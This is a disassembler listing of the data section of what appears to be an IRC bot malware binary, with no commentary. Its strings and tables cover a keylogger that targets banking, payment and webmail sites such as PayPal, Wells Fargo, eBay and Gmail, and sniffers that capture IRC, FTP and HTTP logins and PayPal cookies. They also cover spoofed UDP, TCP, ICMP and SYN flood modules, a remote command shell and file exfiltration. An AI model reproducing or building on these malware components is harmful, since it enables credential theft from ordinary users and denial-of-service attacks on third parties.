dword_435730 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+114o
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_435774 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dword_4357B8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dword_4357F8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dword_435838 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412197+404o
dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: sub_4125FC+13o
dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 10h
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 4
dd 4 dup(0)
dword_436448 dd 8 ; DATA XREF: sub_4125FC+65o
dword_43644C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_436B7C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_436BB4 dd 28207325h, 297325h ; DATA XREF: sub_4125FC+31o
; sub_41AF8F+EBo
a__S_l_ReturnS db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo
align 4
a__S_l_Return db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o
align 4
a__S_l_Buffer_0 db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o
a__S_l_BufferFu db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o
align 4
a__S_l_ChangedW db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo
align 4
a__S_l_ db '.».%s.«.',0 ; DATA XREF: sub_4126A7+B9o
; sub_4126A7+145o ...
align 4
off_436C48 dd offset dword_4374C0 ; DATA XREF: sub_412B61+2B9r
dd offset off_4374BC
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
dword_436C58 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_412B61+1DEo
dword_436C6C dd 0 ; DATA XREF: sub_412B61+2B2r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .packed:00436C54o
align 4
aFtp db 'FTP',0 ; DATA XREF: .packed:00436C50o
off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: .packed:00436C4Co
dword_4374C0 dd 544F42h ; DATA XREF: .packed:off_436C48o
dword_4374C4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+317o
aRecvFailedRetu db '- recv() failed, returned %d',0
align 10h
dword_4374F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+2C6o
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_437524 dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_412B61+24Co
dword_437534 dd 4E53505Bh, 5D464649h, 0 ; DATA XREF: sub_412B61+235o
dword_437540 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+186o
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
dword_437570 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+103o
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_43759C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+85o
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper db 'oper ',0 ; DATA XREF: sub_413003+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 10h
unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
unk_43789C db 2Dh ; - ; DATA XREF: sub_4135DF+5Eo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413694+302o
dd 203A726Fh, 6425h
unk_4378E0 db 2Dh ; - ; DATA XREF: sub_413A29+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
unk_43792C db 2Dh ; - ; DATA XREF: sub_413A29+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
unk_437974 db 2Dh ; - ; DATA XREF: sub_413A29+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
unk_437994 db 2Dh ; - ; DATA XREF: sub_413A29+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_4379C4 db 2Dh ; - ; DATA XREF: sub_413A29+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 10h
unk_4379F0 db 2Dh ; - ; DATA XREF: sub_413E10+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_437A1C db 2Dh ; - ; DATA XREF: sub_413E10+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_437A44 db 2Dh ; - ; DATA XREF: sub_413F9C+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 10h
unk_437A70 db 2Dh ; - ; DATA XREF: sub_413F9C+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 4
dword_437A98 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_4141B2+4Bo
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_437AC4 db 2Dh ; - ; DATA XREF: sub_414358+4Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_437AEC db 2Dh ; - ; DATA XREF: sub_4143F7+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_437B0C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_414703+4Fo
aDoneWithFlood_ db '- Done with flood.',0
align 4
unk_437B2C db 2Dh ; - ; DATA XREF: sub_4149C1+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_437B7C db 2Dh ; - ; DATA XREF: sub_4149C1+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_437BCC db 2Dh ; - ; DATA XREF: sub_4149C1+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
unk_437BEC db 2Dh ; - ; DATA XREF: sub_4149C1+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_437C24 db 2Dh ; - ; DATA XREF: sub_4149C1+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 4
unk_437C58 db 2Dh ; - ; DATA XREF: sub_414F57+66o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
unk_437C8C db 2Dh ; - ; DATA XREF: sub_41525A+4Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_437CCC db 2Dh ; - ; DATA XREF: sub_4152D1+345o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_437D58 db 2Dh ; - ; DATA XREF: sub_4152D1+2F3o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
unk_437DBC db 2Dh ; - ; DATA XREF: sub_4152D1+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
unk_437DE8 db 2Dh ; - ; DATA XREF: sub_4152D1+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437E2C db 2Dh ; - ; DATA XREF: sub_4152D1+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
unk_437E7C db 2Dh ; - ; DATA XREF: sub_4152D1+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
unk_437EA8 db 2Dh ; - ; DATA XREF: sub_41561D+60o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0 ; DATA XREF: sub_4157BA+204o
align 4
dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o
dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 4
dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: sub_415E4B+DCo
dd 6574656Ch, 0
dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: sub_415E4B+3Fo
dd 676E6974h, 0
unk_437F88 db 2Dh ; - ; DATA XREF: sub_416000+170o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
unk_437FBC db 2Dh ; - ; DATA XREF: sub_416000+ABo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437FEC db 2Dh ; - ; DATA XREF: sub_416000+47o
; sub_4161C1+FDo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: sub_4161C1+362o
; sub_416563+156o
dd 726F72h
unk_438028 db 2Dh ; - ; DATA XREF: sub_4161C1+2FAo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_438054 db 2Dh ; - ; DATA XREF: sub_4161C1+202o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: sub_4161C1+1CBo
dd 74756Fh
dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_4161C1+16Ao
dd 169h
unk_4380A8 db 2Dh ; - ; DATA XREF: sub_4161C1+127o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
